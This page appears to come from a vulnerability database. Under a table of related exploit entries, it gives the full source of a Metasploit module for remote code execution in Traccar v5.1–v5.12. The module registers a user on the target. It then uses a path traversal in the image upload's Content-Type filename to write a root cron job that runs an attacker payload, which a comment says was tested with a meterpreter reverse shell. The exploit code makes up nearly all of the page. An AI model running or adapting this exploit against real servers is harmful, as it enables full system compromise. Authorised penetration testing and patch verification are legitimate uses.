| Reporter | Title | Published | Views | Family All 32 |
|---|---|---|---|---|
| Palo Alto Expedition 1.2.91 Remote Code Execution Exploit | 14 Nov 202400:00 | – | zdt | |
| Exploit for CVE-2024-24809 | 3 Sep 202409:56 | – | githubexploit | |
| Exploit for SQL Injection in Valvepress Automatic | 30 Oct 202513:28 | – | githubexploit | |
| Exploit for CVE-2024-24809 | 3 Sep 202409:56 | – | githubexploit | |
| CVE-2024-24809 | 10 Apr 202415:16 | – | attackerkb | |
| The vulnerability of the Traccar GPS system’s application programming interface, related to the unlimited loading of dangerous type files, allows a violator to execute arbitrary code. | 26 Aug 202400:00 | – | bdu_fstec | |
| CVE-2024-24809 | 26 Aug 202414:44 | – | circl | |
| CVE-2024-31214 | 26 Aug 202414:44 | – | circl | |
| Traccar 安全漏洞 | 10 Apr 202400:00 | – | cnnvd | |
| Traccar 代码问题漏洞 | 10 Apr 202400:00 | – | cnnvd |
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Traccar v5 Remote Code Execution (CVE-2024-31214 and CVE-2024-24809)',
'Description' => %q{
Remote Code Execution in Traccar v5.1 - v5.12.
Remote code execution can be obtained by combining two vulnerabilities: A path traversal vulnerability (CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214).
By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise.
This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload.
},
'License' => MSF_LICENSE,
'Author' => [
'Michael Heinzl', # MSF Module
'yiliufeng168', # Discovery CVE-2024-24809 and PoC
'Naveen Sunkavally' # Discovery CVE-2024-31214 and PoC
],
'References' => [
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5'],
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-3gxq-f2qj-c8v9'],
[ 'URL', 'https://www.horizon3.ai/attack-research/disclosures/traccar-5-remote-code-execution-vulnerabilities/'],
[ 'CVE', '2024-31214'],
[ 'CVE', '2024-24809']
],
'DisclosureDate' => '2024-08-23',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Linux Command',
{
'Arch' => [ ARCH_CMD ],
'Platform' => [ 'linux' ],
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
'Type' => :unix_cmd
}
]
],
'Payload' => {
'BadChars' => "\x27" # apostrophe (')
},
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 75
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options(
[
Opt::RPORT(8082),
OptString.new('USERNAME', [true, 'Username to be used when creating a new user', Faker::Internet.username]),
OptString.new('PASSWORD', [true, 'Password for the new user', Rex::Text.rand_text_alphanumeric(16)]),
OptString.new('EMAIL', [true, 'E-mail for the new user', Faker::Internet.email]),
OptString.new('TARGETURI', [ true, 'The URI for the Traccar web interface', '/'])
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/server')
})
return CheckCode::Unknown unless res && res.code == 200
data = res.get_json_document
version = data['version']
if version.nil?
return CheckCode::Unknown
else
vprint_status('Version retrieved: ' + version)
end
unless Rex::Version.new(version).between?(Rex::Version.new('5.1'), Rex::Version.new('5.12'))
return CheckCode::Safe
end
return CheckCode::Appears
end
def exploit
prepare_setup
execute_command(payload.encoded)
end
def prepare_setup
print_status('Registering new user...')
body = {
name: datastore['USERNAME'],
email: datastore['EMAIL'],
password: datastore['PASSWORD'],
totpKey: nil
}.to_json
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/users'),
'ctype' => 'application/json',
'data' => body
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
auth_status = false
# not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error
# to run into when this module is executed more than once without updating the provided email address
if res.code == 400 && res.to_s.include?('Unique index or primary key violation')
print_status('The same E-mail already exists on the system, trying to authenticate with existing password...')
res = send_request_cgi(
'method' => 'POST',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'api/session'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'email' => datastore['EMAIL'],
'password' => datastore['PASSWORD']
}
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
json = res.get_json_document
unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
print_status('Provide the correct password for the existing E-Mail address, or provide a new E-Mail address.')
fail_with(Failure::UnexpectedReply, res.to_s)
end
auth_status = true
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, res.to_s)
end
json = res.get_json_document
unless json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
end
if auth_status == false
print_status('Authenticating...')
res = send_request_cgi(
'method' => 'POST',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'api/session'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'email' => datastore['EMAIL'],
'password' => datastore['PASSWORD']
}
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
json = res.get_json_document
unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
end
end
end
def execute_command(cmd)
name_v = Rex::Text.rand_text_alphanumeric(16)
unique_id_v = Rex::Text.rand_text_alphanumeric(16)
body = {
name: name_v,
uniqueId: unique_id_v
}.to_json
print_status('Adding new device...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/devices'),
'keep_cookies' => true,
'ctype' => 'application/json',
'data' => body
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
json = res.get_json_document
unless res.code == 200 && json['name'] == name_v && json['uniqueId'] == unique_id_v && json.key?('id')
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
end
id = json['id'].to_s
body = Rex::Text.rand_text_alphanumeric(1..4)
fn = Rex::Text.rand_text_alpha(1..2)
print_status('Uploading crontab file...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
'keep_cookies' => true,
'ctype' => 'image/png',
'data' => body
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200 && res.to_s.include?('device.png')
fail_with(Failure::UnexpectedReply, res.to_s)
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
'keep_cookies' => true,
'ctype' => "image/png;#{fn}=\"/b\"",
'data' => body
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/b\"")
fail_with(Failure::UnexpectedReply, res.to_s)
end
body = "* * * * * root /bin/bash -c '#{cmd}'\n"
cronfn = SecureRandom.hex(12)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
'keep_cookies' => true,
'ctype' => "image/png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"",
'data' => body
)
register_file_for_cleanup("/etc/cron.d/#{cronfn}\"")
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"")
fail_with(Failure::UnexpectedReply, res.to_s)
end
vprint_status('Cleanup: Deleting previously added device...')
res = send_request_cgi(
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}"),
'headers' => {
'Connection' => 'close'
}
)
unless res
print_bad('Failed to receive a reply from the server, device removal might have failed.')
end
unless res.code == 204
print_bad('Received unexpected reply, device removal might have failed:\n' + res.to_s)
end
# It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early
print_status('Cronjob successfully written - waiting for execution...')
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation